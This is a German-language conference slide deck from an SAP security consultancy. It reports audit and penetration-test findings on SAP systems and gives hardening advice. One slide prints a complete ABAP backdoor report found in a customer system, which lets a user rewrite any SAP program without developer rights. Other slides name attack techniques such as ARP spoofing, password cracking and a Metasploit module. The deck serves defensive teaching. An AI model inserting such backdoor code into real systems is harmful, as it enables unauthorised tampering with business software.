SAP®-Systeme absichern

SAP Systeme absichern: Gut gemeint ist nicht
gut gemacht!
Erfahrungen aus SAP Security Audits und Tipps zur Härtung Ihrer
Systeme
Ralf Kempf
akquinet AG
www.dsag.de/go/jahreskongress
AGENDA
1. Erfahrungen aus der Audit-Saison 2013 / 2014
2. „Gut gemeint“ - Beispiele im Bereich Netzwerk
3. „Gut gemeint“ - Beispiele im Bereich Betriebssystem
4. „Gut gemeint“ - Beispiele im Bereich SAP Netweaver
5. „Gut gemeint“ - Beispiele im Bereich SAP Internet
6. Wie machen Sie es besser
2
Erfahrungen aus der Audit / Pentest Saison 2013 / 2014
Der Umfang der Sicherheitsmaßnahmen nimmt zu
37 % aller untersuchten Unternehmen hatten eine GRC Lösung eingeführt oder
planen die Einführung (berichtsform).
Die Absicherung der SAP Gateways war in 54 % aller Fälle schon ausreichend.
Die Qualität der Absicherung ist weiterhin unzureichend
Ein akquinet SAP Security Audit umfasst mehr als 1000 Prüfpunkte.
Die durchschnittliche Anzahl der kritischen Feststellungen betrug 71.
Die Anzahl der Findings mit Prio 2 (hoch) betrug durchschnittlich 81.
Bei keinem Penetrationstest wurde der Angriff durch Monitoring Systeme erkannt.
Basis: Auswertung von 37 akquinet Security Audits in den letzten 12 Monaten
3
Erfahrungen aus der Audit Saison 2013 / 2014
Simulierte Angriffe führten wie in den letzten Jahren zum Erfolg
Bei 94 % aller Penetrationstests konnte sich der akquinet Prüfer Zugriff auf das
lokale System verschaffen.
Die durchschnittliche Zeit vom Beginn des Penetration Tests bis zum erfolgten
Eindringen war < 1 Stunde.
In 83 % aller Fälle konnte der Prüfer nicht nur in ein SAP System eindringen
sondern ausgehend vom getesteten System in mehrere / alle angeschlossene
Systeme.
Die volle Bandbreite zwischen sicher und unsicher
Solution Manager: Hier konnte oftmals in ALLE angeschlossenen Systeme
eingedrungen werden.
Zwei geprüfte Kunden haben nachweislich alle Lücken zeitnah geschlossen.
Basis: Auswertung von 37 akquinet Security Audits in den letzten 12 Monaten
4
„Gut gemeint“ - Beispiele im Bereich Netzwerk
Anforderung: SAP Systeme sind durch geeignete netzwerkseitige
Maßnahmen gegen unbefugten Zugriff zu schützen
Das Gateway ist durch eine SECINFO-DATEI abzusichern.
Wo ist der Fehler
?
Wir nutzen Medium Access Control (MAC): In den meisten Fällen konnten wir
durch ARP Spoofing MAC Systeme unerkannt umgehen.
Unser System ist gegen Zugriffe aus dem Internet geschützt: In den wenigsten
Fällen sind SAP Systeme durch eine Firewall gegen Angriffe aus dem Intranet
geschützt.
Die netzwerkseitige Absicherung der Systeme wird sträflich
vernachlässigt !
5
Die meisten Systeme sind nicht durch Firewall gesichert
DIAG
HTTP
RFC
SAPGUI
HTTP
RFC
SAP User
ABAP Application Layer
DB User / PW
SQL*Net etc
Database
SAP Kernel
GW
SSH/Telnet
6
Operating System
Unix / Windows / AS400
Firewall installieren, SSH nutzen und alles ist sicher?
DIAG
HTTP
RFC
SAPGUI
HTTP
RFC
SAP User
ABAP Application Layer
DB User / PW
SQL*Net etc
SSH/Telnet
OS User / PW
7
Database
SAP Kernel
GW
Operating System
Unix / Windows / AS400
Nein, da man aus ABAP heraus auf OS und DB zugreifen kann
DIAG
HTTP
RFC
SAPGUI
HTTP
RFC
SAP User
ABAP Application Layer
DB User / PW
SQL*Net etc
SSH/Telnet
OS User / PW
8
Database
SAP Kernel
GW
Operating System
Unix / Windows / AS400
Beispiel: RFC Angriff und Inside / Out Shell
Unix Shell
als SIDADM
9
Live Beispiel: Angriff auf SSH Shell
10
„Gut gemeint“ - Beispiele im Bereich Betriebssystem
Anforderung: Der Zugriff auf Betriebssystem und Datenbank darf nur für
Administratoren möglich sein
Wir haben root abgesichert: Root User (0) kopiert und mit Phantasienamen
versehen. Der Auditor prüft ja nur wer Zugriff auf root hat ;-)
Wir prüfen laufend unsere Systeme: SETUID Root Scripte die für alle Benutzer
beschreibbar waren. Kommt ja keiner dran, aber was ist mit OPEN DATASET und
SM69 aus SAP ?
Wir sparen Ressourcen: Mehrere SAP Systeme auf einem Host in gleicher
SAPSYS Gruppe. Einfache Administration aber auch einfacher Einbruch aus dem
Test- und Q-System möglich.
Eine Systemdokumentation liegt vor: Schön, wenn die Systemdokumentation und
Konfigurationsdateien mit Kennwörtern auf offenen Netzwerklaufwerken liegen.
11
„Gut gemeint“ - Beispiele im Bereich SAP Netweaver
Anforderung: Die SAP Basis ist mindestens auf Grundlage des DSAG
DSAG Audit Guides und der BSI Empfehlungen gehärtet
Wir haben ein SoD Projekt durchgeführt: Aber kritische Basisberechtigungen wie
S_RFC dabei leider vernachlässigt. S_RFC wird in den allermeisten Fällen immer
noch mit * vergeben. Passwort Crack Angriffe sind zu 100 % erfolgreich gewesen
Wir haben Transaktionen im Sinne von SoD berechtigt: Aber SA38 und SE84
zugelassen. Dadurch kann man alle Reporttransaktionen über SA38 / SE84
aufrufen.
Wir nutzen für RFC Verbindungen nur Servicebenutzer: Leider falsch ! Richtig wäre
es Systembenutzer zu verwenden, da sich Servicebenutzer im Dialog anmelden
können.
Obwohl schon seit Jahren gute Standards existieren, werden diese nur
unzureichend angewendet !
12
Beispiel: Passwort Crack Angriff
Download und Crack
SAP Logon mit Kennwort
13
Beispiel: Gefundenes Backdoor Coding
ZFI_RABATT -> Nachlass mal ganz anders:
REPORT ZFI_RABATT.
parameters: p_report type progname obligatory.
data: begin of tab occurs 1000,
veta(200),
end of tab.
read report p_report into tab.
editor-call for tab.
if sy-subrc eq 0.
insert report p_report from tab.
endif.
Mit diesem 10 Zeiler kann man ALLE SAP Programme ohne
Entwicklerrechte verändern !
14
„Gut gemeint“ Beispiele im Bereich SAP Internet
Anforderung: SAP Systeme mit Internetanbindung müssen besonders
gehärtet und durch netzwerkseitige Maßnahmen geschützt sein
Unser System ist durch IDS gesichert: Auditor legt mittels Metasploit Modul
ADMINISTRATOR auf J2EE System an. Beim Löschen wird festgestellt, dass es
bereits viele andere „Administratoren aus dem Internet“ gibt Unsere Systeme sind durch einen Web Dispatcher geschützt: Durch Änderung der
URL wurde der Auditor aber auf ein anderes komplett ungesichertes System
umgeleitet.
Wir prüfen unser System vor dem Go-Live ausführlich: Es war aber schon „LIVE“
im Internet erreichbar.
Dank unserer SIEM Lösung können wir Angriffe sofort erkennen: Keines der
geprüften System verfügte über eine brauchbare Echtzeitüberwachung. Keiner
unserer Angriffe wurden in 2013/2014 erkannt.
15
Wie machen Sie es besser
Systemhärtung (aber richtig)
Sichern Sie Ihre Systeme auf Basis von bekannten Standards ab.
Prüfen Sie laufend ob die Absicherung auch / noch funktioniert!
Dokumentation
Dokumentieren Sie alle Systeme und deren Kommunikationsbeziehungen
Eliminieren Sie obsolete Systemschnittstellen.
Permanentes Self-Audit
Prüfung der Systemsicherheit muss durch sachverständige Dritte erfolgen.
Die interne Revision ist meistens mit den Themenfeldern überfordert.
Interne Prüfer benötigen tagesaktuelles und übergreifendes Fachwissen.
16
Wie machen Sie es besser
Monitoring
Etablieren Sie Systeme, die Konfigurationsänderungen in Echtzeit erkennen.
Auswertung von Logs und Transaktionen / Webservices notwendig.
Security Response
Machen Sie IT Security zum Unternehmensziel.
Etablieren Sie eine Organisation und Verfahren, um auf Angriffe reagieren zu
können.
Externe Prüfung / Penetration Tests
Lassen Sie Ihre Systeme durch externe Prüfer regelmäßig überprüfen.
Externe entdecken Schwachstellen die wegen „Betriebsblindheit“ sonst nicht
erkannt werden.
17
Wie machen Sie es besser
Ich danke für Ihr Interesse.
Für Fachgespräche steht Ihnen das akquinet Security Team
in Halle 2 auf Stand G18
jederzeit gerne zur Verfügung.
18